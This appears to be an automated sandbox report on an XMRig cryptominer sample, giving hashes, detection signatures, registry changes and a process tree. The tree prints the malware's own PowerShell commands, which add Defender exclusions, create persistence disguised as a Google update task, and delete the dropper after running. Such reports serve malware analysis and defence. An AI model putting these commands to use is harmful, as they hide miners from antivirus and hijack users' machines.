Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
1800s -
max time network
1798s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
23-01-2024 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231129-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231129-en
General
-
Target
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
description pid Process procid_target PID 4632 created 3488 4632 UMRsPGc4u9tycx9r.exe 36 PID 4632 created 3488 4632 UMRsPGc4u9tycx9r.exe 36 PID 4632 created 3488 4632 UMRsPGc4u9tycx9r.exe 36 PID 4632 created 3488 4632 UMRsPGc4u9tycx9r.exe 36 PID 112 created 3488 112 updater.exe 36 PID 112 created 3488 112 updater.exe 36 PID 112 created 3488 112 updater.exe 36 PID 2428 created 3488 2428 conhost.exe 36 PID 112 created 3488 112 updater.exe 36 -
XMRig Miner payload 30 IoCs
resource yara_rule behavioral24/memory/1268-129-0x00007FF79A960000-0x00007FF79B154000-memory.dmp xmrig behavioral24/memory/1268-133-0x00007FF79A960000-0x00007FF79B154000-memory.dmp xmrig behavioral24/memory/1268-134-0x00007FF79A960000-0x00007FF79B154000-memory.dmp xmrig behavioral24/memory/1268-136-0x00007FF79A960000-0x00007FF79B154000-memory.dmp xmrig behavioral24/memory/1268-140-0x00007FF79A960000-0x00007FF79B154000-memory.dmp xmrig behavioral24/memory/1268-142-0x00007FF79A960000-0x00007FF79B154000-memory.dmp xmrig behavioral24/memory/1268-144-0x00007FF79A960000-0x00007FF79B154000-memory.dmp xmrig behavioral24/memory/1268-146-0x00007FF79A960000-0x00007FF79B154000-memory.dmp xmrig behavioral24/memory/1268-148-0x00007FF79A960000-0x00007FF79B154000-memory.dmp xmrig behavioral24/memory/1268-150-0x00007FF79A960000-0x00007FF79B154000-memory.dmp xmrig behavioral24/memory/1268-152-0x00007FF79A960000-0x00007FF79B154000-memory.dmp xmrig behavioral24/memory/1268-154-0x00007FF79A960000-0x00007FF79B154000-memory.dmp xmrig behavioral24/memory/1268-156-0x00007FF79A960000-0x00007FF79B154000-memory.dmp xmrig behavioral24/memory/1268-158-0x00007FF79A960000-0x00007FF79B154000-memory.dmp xmrig behavioral24/memory/1268-160-0x00007FF79A960000-0x00007FF79B154000-memory.dmp xmrig behavioral24/memory/1268-162-0x00007FF79A960000-0x00007FF79B154000-memory.dmp xmrig behavioral24/memory/1268-164-0x00007FF79A960000-0x00007FF79B154000-memory.dmp xmrig behavioral24/memory/1268-166-0x00007FF79A960000-0x00007FF79B154000-memory.dmp xmrig behavioral24/memory/1268-168-0x00007FF79A960000-0x00007FF79B154000-memory.dmp xmrig behavioral24/memory/1268-170-0x00007FF79A960000-0x00007FF79B154000-memory.dmp xmrig behavioral24/memory/1268-172-0x00007FF79A960000-0x00007FF79B154000-memory.dmp xmrig behavioral24/memory/1268-174-0x00007FF79A960000-0x00007FF79B154000-memory.dmp xmrig behavioral24/memory/1268-176-0x00007FF79A960000-0x00007FF79B154000-memory.dmp xmrig behavioral24/memory/1268-178-0x00007FF79A960000-0x00007FF79B154000-memory.dmp xmrig behavioral24/memory/1268-180-0x00007FF79A960000-0x00007FF79B154000-memory.dmp xmrig behavioral24/memory/1268-182-0x00007FF79A960000-0x00007FF79B154000-memory.dmp xmrig behavioral24/memory/1268-184-0x00007FF79A960000-0x00007FF79B154000-memory.dmp xmrig behavioral24/memory/1268-186-0x00007FF79A960000-0x00007FF79B154000-memory.dmp xmrig behavioral24/memory/1268-188-0x00007FF79A960000-0x00007FF79B154000-memory.dmp xmrig behavioral24/memory/1268-190-0x00007FF79A960000-0x00007FF79B154000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
pid Process 112 updater.exe -
resource yara_rule behavioral24/memory/1268-125-0x00007FF79A960000-0x00007FF79B154000-memory.dmp upx behavioral24/memory/1268-129-0x00007FF79A960000-0x00007FF79B154000-memory.dmp upx behavioral24/memory/1268-133-0x00007FF79A960000-0x00007FF79B154000-memory.dmp upx behavioral24/memory/1268-134-0x00007FF79A960000-0x00007FF79B154000-memory.dmp upx behavioral24/memory/1268-136-0x00007FF79A960000-0x00007FF79B154000-memory.dmp upx behavioral24/memory/1268-140-0x00007FF79A960000-0x00007FF79B154000-memory.dmp upx behavioral24/memory/1268-142-0x00007FF79A960000-0x00007FF79B154000-memory.dmp upx behavioral24/memory/1268-144-0x00007FF79A960000-0x00007FF79B154000-memory.dmp upx behavioral24/memory/1268-146-0x00007FF79A960000-0x00007FF79B154000-memory.dmp upx behavioral24/memory/1268-148-0x00007FF79A960000-0x00007FF79B154000-memory.dmp upx behavioral24/memory/1268-150-0x00007FF79A960000-0x00007FF79B154000-memory.dmp upx behavioral24/memory/1268-152-0x00007FF79A960000-0x00007FF79B154000-memory.dmp upx behavioral24/memory/1268-154-0x00007FF79A960000-0x00007FF79B154000-memory.dmp upx behavioral24/memory/1268-156-0x00007FF79A960000-0x00007FF79B154000-memory.dmp upx behavioral24/memory/1268-158-0x00007FF79A960000-0x00007FF79B154000-memory.dmp upx behavioral24/memory/1268-160-0x00007FF79A960000-0x00007FF79B154000-memory.dmp upx behavioral24/memory/1268-162-0x00007FF79A960000-0x00007FF79B154000-memory.dmp upx behavioral24/memory/1268-164-0x00007FF79A960000-0x00007FF79B154000-memory.dmp upx behavioral24/memory/1268-166-0x00007FF79A960000-0x00007FF79B154000-memory.dmp upx behavioral24/memory/1268-168-0x00007FF79A960000-0x00007FF79B154000-memory.dmp upx behavioral24/memory/1268-170-0x00007FF79A960000-0x00007FF79B154000-memory.dmp upx behavioral24/memory/1268-172-0x00007FF79A960000-0x00007FF79B154000-memory.dmp upx behavioral24/memory/1268-174-0x00007FF79A960000-0x00007FF79B154000-memory.dmp upx behavioral24/memory/1268-176-0x00007FF79A960000-0x00007FF79B154000-memory.dmp upx behavioral24/memory/1268-178-0x00007FF79A960000-0x00007FF79B154000-memory.dmp upx behavioral24/memory/1268-180-0x00007FF79A960000-0x00007FF79B154000-memory.dmp upx behavioral24/memory/1268-182-0x00007FF79A960000-0x00007FF79B154000-memory.dmp upx behavioral24/memory/1268-184-0x00007FF79A960000-0x00007FF79B154000-memory.dmp upx behavioral24/memory/1268-186-0x00007FF79A960000-0x00007FF79B154000-memory.dmp upx behavioral24/memory/1268-188-0x00007FF79A960000-0x00007FF79B154000-memory.dmp upx behavioral24/memory/1268-190-0x00007FF79A960000-0x00007FF79B154000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 112 set thread context of 2428 112 updater.exe 110 PID 112 set thread context of 1268 112 updater.exe 116 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe UMRsPGc4u9tycx9r.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 5092 WMIC.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe -
Suspicious behavior: EnumeratesProcesses 30 IoCs
pid Process 4632 UMRsPGc4u9tycx9r.exe 4632 UMRsPGc4u9tycx9r.exe 4344 powershell.exe 4344 powershell.exe 4632 UMRsPGc4u9tycx9r.exe 4632 UMRsPGc4u9tycx9r.exe 4912 powershell.exe 4912 powershell.exe 4632 UMRsPGc4u9tycx9r.exe 4632 UMRsPGc4u9tycx9r.exe 4632 UMRsPGc4u9tycx9r.exe 4632 UMRsPGc4u9tycx9r.exe 2056 powershell.exe 2056 powershell.exe 112 updater.exe 112 updater.exe 4276 powershell.exe 4276 powershell.exe 112 updater.exe 112 updater.exe 2384 powershell.exe 2384 powershell.exe 112 updater.exe 112 updater.exe 2428 conhost.exe 2428 conhost.exe 112 updater.exe 112 updater.exe 112 updater.exe 112 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 656 Process not Found -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4344 powershell.exe Token: SeDebugPrivilege 4912 powershell.exe Token: SeIncreaseQuotaPrivilege 4912 powershell.exe Token: SeSecurityPrivilege 4912 powershell.exe Token: SeTakeOwnershipPrivilege 4912 powershell.exe Token: SeLoadDriverPrivilege 4912 powershell.exe Token: SeSystemProfilePrivilege 4912 powershell.exe Token: SeSystemtimePrivilege 4912 powershell.exe Token: SeProfSingleProcessPrivilege 4912 powershell.exe Token: SeIncBasePriorityPrivilege 4912 powershell.exe Token: SeCreatePagefilePrivilege 4912 powershell.exe Token: SeBackupPrivilege 4912 powershell.exe Token: SeRestorePrivilege 4912 powershell.exe Token: SeShutdownPrivilege 4912 powershell.exe Token: SeDebugPrivilege 4912 powershell.exe Token: SeSystemEnvironmentPrivilege 4912 powershell.exe Token: SeRemoteShutdownPrivilege 4912 powershell.exe Token: SeUndockPrivilege 4912 powershell.exe Token: SeManageVolumePrivilege 4912 powershell.exe Token: 33 4912 powershell.exe Token: 34 4912 powershell.exe Token: 35 4912 powershell.exe Token: 36 4912 powershell.exe Token: SeIncreaseQuotaPrivilege 4912 powershell.exe Token: SeSecurityPrivilege 4912 powershell.exe Token: SeTakeOwnershipPrivilege 4912 powershell.exe Token: SeLoadDriverPrivilege 4912 powershell.exe Token: SeSystemProfilePrivilege 4912 powershell.exe Token: SeSystemtimePrivilege 4912 powershell.exe Token: SeProfSingleProcessPrivilege 4912 powershell.exe Token: SeIncBasePriorityPrivilege 4912 powershell.exe Token: SeCreatePagefilePrivilege 4912 powershell.exe Token: SeBackupPrivilege 4912 powershell.exe Token: SeRestorePrivilege 4912 powershell.exe Token: SeShutdownPrivilege 4912 powershell.exe Token: SeDebugPrivilege 4912 powershell.exe Token: SeSystemEnvironmentPrivilege 4912 powershell.exe Token: SeRemoteShutdownPrivilege 4912 powershell.exe Token: SeUndockPrivilege 4912 powershell.exe Token: SeManageVolumePrivilege 4912 powershell.exe Token: 33 4912 powershell.exe Token: 34 4912 powershell.exe Token: 35 4912 powershell.exe Token: 36 4912 powershell.exe Token: SeIncreaseQuotaPrivilege 4912 powershell.exe Token: SeSecurityPrivilege 4912 powershell.exe Token: SeTakeOwnershipPrivilege 4912 powershell.exe Token: SeLoadDriverPrivilege 4912 powershell.exe Token: SeSystemProfilePrivilege 4912 powershell.exe Token: SeSystemtimePrivilege 4912 powershell.exe Token: SeProfSingleProcessPrivilege 4912 powershell.exe Token: SeIncBasePriorityPrivilege 4912 powershell.exe Token: SeCreatePagefilePrivilege 4912 powershell.exe Token: SeBackupPrivilege 4912 powershell.exe Token: SeRestorePrivilege 4912 powershell.exe Token: SeShutdownPrivilege 4912 powershell.exe Token: SeDebugPrivilege 4912 powershell.exe Token: SeSystemEnvironmentPrivilege 4912 powershell.exe Token: SeRemoteShutdownPrivilege 4912 powershell.exe Token: SeUndockPrivilege 4912 powershell.exe Token: SeManageVolumePrivilege 4912 powershell.exe Token: 33 4912 powershell.exe Token: 34 4912 powershell.exe Token: 35 4912 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 4372 wrote to memory of 4608 4372 cmd.exe 102 PID 4372 wrote to memory of 4608 4372 cmd.exe 102 PID 2056 wrote to memory of 4816 2056 powershell.exe 103 PID 2056 wrote to memory of 4816 2056 powershell.exe 103 PID 112 wrote to memory of 2428 112 updater.exe 110 PID 4068 wrote to memory of 5092 4068 cmd.exe 115 PID 4068 wrote to memory of 5092 4068 cmd.exe 115 PID 112 wrote to memory of 1268 112 updater.exe 116 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3488
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UMRsPGc4u9tycx9r.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UMRsPGc4u9tycx9r.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:4632
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4344
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4912
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UMRsPGc4u9tycx9r.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:4372 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:4608
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2056 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:4816
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4276
